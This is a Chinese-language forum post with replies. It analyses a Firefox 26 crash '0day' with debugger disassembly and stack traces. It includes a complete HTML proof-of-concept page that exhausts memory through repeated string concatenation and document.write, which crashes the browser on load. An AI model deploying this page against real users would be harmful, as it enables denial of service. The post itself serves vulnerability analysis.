Firefox Crash 0Day分析
今日,在binvul(这里)看到一个Firefox Crash 0Day,于是分析了一下崩溃点和崩溃原因,样本文件是一个html文件,内容如下(注意：注释是我自己添加上去的):【样本文件】
<html>
<head>
<title>Mozilla Firefox Crash 0Day</title>
<body onload="javascript:coolkaveh();">
<script language="JavaScript">
function coolkaveh(){
var buf = '\x41\x41\x41'
for(i=0; i <= 800 ; ++i){
buf+=buf+buf //Written by vscen：这里存在问题,字符串太长会导致内存分配失败,之后调用mozalloc.mozalloc_abort触发崩溃
document.write(buf); //Written by vscen：罪魁祸首
}
}
</script>
</head>
</body>
</html>【相关环境】
分析工具：OllyICE
浏览器：Firefox 26.0.0.5087
操作系统：Windows
【分析过程】
分配document.write(buf)所需的字符串内存,如果分配内存失败则调用mozalloc.mozalloc_abort函数触发崩溃：
10004C15 >56 push esi ; mozglue.malloc
10004C16 8B7424 08 mov esi, dword ptr
10004C1A 85F6 test esi, esi
10004C1C 75 01 jnz short 10004C1F
10004C1E 46 inc esi
10004C1F 81FE 00F00F00 cmp esi, 0FF000
10004C25 77 13 ja short 10004C3A
10004C27 6A 00 push 0
10004C29 E8 60FDFFFF call 1000498E
10004C2E 8BC8 mov ecx, eax拷贝(buf)里面的字符串到分配的缓冲区：
0156265C 8BD7 mov edx, edi
0156265E 2BD0 sub edx, eax
01562660 52 push edx
01562661 50 push eax
01562662 8B06 mov eax, dword ptr
01562664 53 push ebx
01562665 E8 26130000 call 01563990堆栈信息：
0012DDA8 00F61096/CALL 到 malloc 来自 mozalloc.00F61094
0012DDAC 0048FB78\size = 48FB78 (4782968.)
0012DDB0 001853D3
0012DDB4 110503E0
0012DDB8 01563B0A返回到 xul.01563B0A 来自 mozalloc.moz_xmalloc
0012DDBC 0048FB78
0012DDC0 001853D3
0012DDC4 10F3A450
0012DDC8 00000041
0012DDCC 11C00000UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012DDD0 00000000
0012DDD4 00000000
0012DDD8 0156266A返回到 xul.0156266A 来自 xul.01563990
0012DDDC 11C00000UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012DDE0 00000000
0012DDE4 00247DBC
0012DDE8 0012DE94
0012DDEC 10F3A450
0012DDF0 00000000
0012DDF4 11C00000UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"【崩溃截图】
我是沙发。哈哈哈 不懂？？？ 没看明白。:'(
Re: Firefox Crash 0Day分析
感谢分享，分析得很详细！循环中的字符串拼接确实太猛了，每次 buf+=buf+buf 后写入，很快就把内存撑爆了。这种直接拒绝服务式的 Crash 在旧版 Firefox 里挺常见的，而且触发条件简单，只要用户打开恶意页面就行。不过从堆栈看只是 abort 而非可利用的内存破坏，算是个稳定性问题。你用的 OllyICE 分析思路很清楚，对理解这类崩溃很有帮助。Re: Firefox Crash 0Day分析
感谢楼主的详细分析，样本代码和堆栈信息都很清晰。这个通过字符串自增拼接快速撑爆内存的思路挺典型的，document.write 在分配大内存失败后直接调用 abort 确实是个干脆利落的崩溃方式。想问下楼主，这个 0day 在后续版本中是否已经修复？或者有没有可能被进一步利用，比如通过控制崩溃前的内存布局造成更严重的影响？Re: Firefox Crash 0Day分析
感谢楼主的详细分析！这个案例很经典，利用循环拼接字符串导致内存分配失败，确实是JavaScript中容易忽略的性能陷阱。你给出的注释和堆栈信息都很清晰，特别是定位到 `document.write` 触发 `mozalloc_abort` 的过程，对理解浏览器内部如何处理大字符串很有帮助。另外，Firefox 26 可能对此类情况没有做更优雅的异常处理，现代版本或许会有不同表现。期待看到更多类似的底层分析！
页:
[1]